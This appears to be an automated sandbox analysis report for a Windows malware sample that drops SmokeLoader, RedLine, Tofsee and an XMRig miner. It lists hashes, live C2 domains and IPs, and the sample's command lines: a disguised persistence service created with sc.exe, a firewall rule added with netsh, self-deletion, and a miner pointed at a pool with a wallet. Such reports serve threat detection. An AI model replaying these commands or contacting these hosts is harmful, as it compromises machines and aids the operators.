Overview

overview

10

Static

static

7687054ef7...54.exe

windows7_x64

10

7687054ef7...54.exe

windows10_x64

10

Analysis

  • max time kernel
    157s
  • max time network
    158s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    29-09-2021 17:05

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General

  • Target

    7687054ef76c0842a827c7249c7c5454.exe

  • Size

    221KB

  • MD5

    7687054ef76c0842a827c7249c7c5454

  • SHA1

    da4177807371fa64acc17dfdd0fa0b6d6c39a8b7

  • SHA256

    f085d79b0b46ad9eda7f2191e2e668314553251ab5d0f4936f84cd2c1afa2564

  • SHA512

    2e32bfffb654c0372fc190f859152bd60136cbeb182a6f64f7f12ae46641f2b1fc498c87dd3513d015fcf9f6187ec6287cfe37660b42b474562137605452773a

Score
10/10
gozi_rm3redlinesmokeloadertofseexmrigbackdoorbankerdiscoveryevasioninfostealerminerpersistencespywarestealertrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://fiskahlilian16.top/

http://paishancho17.top/

http://ydiannetter18.top/

http://azarehanelle19.top/

http://quericeriant20.top/
rc4.i32
rc4.i32

Extracted

Family

redline

C2

92.246.89.6:38437

Signatures

  • Gozi RM3

    A heavily modified version of Gozi using RM3 loader.

    bankertrojangozi_rm3
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 10 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7687054ef76c0842a827c7249c7c5454.exe
    "C:\Users\Admin\AppData\Local\Temp\7687054ef76c0842a827c7249c7c5454.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1660
    • C:\Users\Admin\AppData\Local\Temp\7687054ef76c0842a827c7249c7c5454.exe
      "C:\Users\Admin\AppData\Local\Temp\7687054ef76c0842a827c7249c7c5454.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1652
  • C:\Users\Admin\AppData\Local\Temp\DEE9.exe
    C:\Users\Admin\AppData\Local\Temp\DEE9.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2024
    • C:\Users\Admin\AppData\Local\Temp\DEE9.exe
      C:\Users\Admin\AppData\Local\Temp\DEE9.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:2032
  • C:\Users\Admin\AppData\Local\Temp\E7A1.exe
    C:\Users\Admin\AppData\Local\Temp\E7A1.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1496
    • C:\Users\Admin\AppData\Local\Temp\E7A1.exe
      C:\Users\Admin\AppData\Local\Temp\E7A1.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1900
  • C:\Users\Admin\AppData\Local\Temp\1DAF.exe
    C:\Users\Admin\AppData\Local\Temp\1DAF.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1264
    • C:\Users\Admin\AppData\Roaming\1DAF.exe
      "C:\Users\Admin\AppData\Roaming\1DAF.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2044
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
        3⤵
          PID:796
          • C:\Windows\SysWOW64\chcp.com
            chcp 1251
            4⤵
              PID:612
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Roaming\1DAF.exe
            3⤵
              PID:1904
              • C:\Windows\SysWOW64\choice.exe
                choice /C Y /N /D Y /T 0
                4⤵
                  PID:848
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1920
              • C:\Windows\SysWOW64\chcp.com
                chcp 1251
                3⤵
                  PID:464
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del 1DAF.exe
                2⤵
                  PID:1712
                  • C:\Windows\SysWOW64\choice.exe
                    choice /C Y /N /D Y /T 0
                    3⤵
                      PID:1900
                • C:\Users\Admin\AppData\Local\Temp\2F8B.exe
                  C:\Users\Admin\AppData\Local\Temp\2F8B.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:928
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hyvzgjnd\
                    2⤵
                      PID:412
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kisqqgpf.exe" C:\Windows\SysWOW64\hyvzgjnd\
                      2⤵
                        PID:1160
                      • C:\Windows\SysWOW64\sc.exe
                        "C:\Windows\System32\sc.exe" create hyvzgjnd binPath= "C:\Windows\SysWOW64\hyvzgjnd\kisqqgpf.exe /d\"C:\Users\Admin\AppData\Local\Temp\2F8B.exe\"" type= own start= auto DisplayName= "wifi support"
                        2⤵
                          PID:1644
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\System32\sc.exe" description hyvzgjnd "wifi internet conection"
                          2⤵
                            PID:2024
                          • C:\Windows\SysWOW64\sc.exe
                            "C:\Windows\System32\sc.exe" start hyvzgjnd
                            2⤵
                              PID:1780
                            • C:\Windows\SysWOW64\netsh.exe
                              "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                              2⤵
                                PID:436
                            • C:\Windows\SysWOW64\hyvzgjnd\kisqqgpf.exe
                              C:\Windows\SysWOW64\hyvzgjnd\kisqqgpf.exe /d"C:\Users\Admin\AppData\Local\Temp\2F8B.exe"
                              1⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              PID:1980
                              • C:\Windows\SysWOW64\svchost.exe
                                svchost.exe
                                2⤵
                                • Drops file in System32 directory
                                • Suspicious use of SetThreadContext
                                • Modifies data under HKEY_USERS
                                PID:636
                                • C:\Windows\SysWOW64\svchost.exe
                                  svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                  3⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2000

                            Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

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                            Downloads

                            • memory/636-127-0x0000000000080000-0x0000000000095000-memory.dmp

                              Filesize

                              84KB

                              Download

                            • memory/636-131-0x0000000000080000-0x0000000000095000-memory.dmp

                              Filesize

                              84KB

                              Download

                            • memory/928-113-0x0000000000400000-0x0000000000448000-memory.dmp

                              Filesize

                              288KB

                              Download

                            • memory/928-112-0x00000000003C0000-0x00000000003D3000-memory.dmp

                              Filesize

                              76KB

                              Download

                            • memory/1264-95-0x0000000004850000-0x0000000004851000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1264-93-0x00000000002C0000-0x00000000002C1000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1264-92-0x0000000000610000-0x0000000000661000-memory.dmp

                              Filesize

                              324KB

                              Download

                            • memory/1264-90-0x00000000002F0000-0x00000000002F1000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1352-86-0x0000000003A00000-0x0000000003A15000-memory.dmp

                              Filesize

                              84KB

                              Download

                            • memory/1352-115-0x0000000004AA0000-0x0000000004AB0000-memory.dmp

                              Filesize

                              64KB

                              Download

                            • memory/1352-64-0x00000000061E0000-0x00000000061F5000-memory.dmp

                              Filesize

                              84KB

                              Download

                            • memory/1496-79-0x0000000004A60000-0x0000000004A61000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1496-76-0x0000000000260000-0x0000000000261000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1652-60-0x0000000000400000-0x0000000000409000-memory.dmp

                              Filesize

                              36KB

                              Download

                            • memory/1652-62-0x0000000075DA1000-0x0000000075DA3000-memory.dmp

                              Filesize

                              8KB

                              Download

                            • memory/1660-63-0x00000000002A0000-0x00000000002A9000-memory.dmp

                              Filesize

                              36KB

                              Download

                            • memory/1900-80-0x0000000000400000-0x0000000000422000-memory.dmp

                              Filesize

                              136KB

                              Download

                            • memory/1900-83-0x0000000000400000-0x0000000000422000-memory.dmp

                              Filesize

                              136KB

                              Download

                            • memory/1900-85-0x0000000004730000-0x0000000004731000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/1980-130-0x0000000000400000-0x0000000000448000-memory.dmp

                              Filesize

                              288KB

                              Download

                            • memory/2000-138-0x0000000000260000-0x0000000000351000-memory.dmp

                              Filesize

                              964KB

                              Download

                            • memory/2044-111-0x0000000004A50000-0x0000000004A51000-memory.dmp

                              Filesize

                              4KB

                              Download

                            • memory/2044-132-0x0000000002380000-0x00000000023AA000-memory.dmp

                              Filesize

                              168KB

                              Download

                            • memory/2044-102-0x0000000000DE0000-0x0000000000DE1000-memory.dmp

                              Filesize

                              4KB

                              Download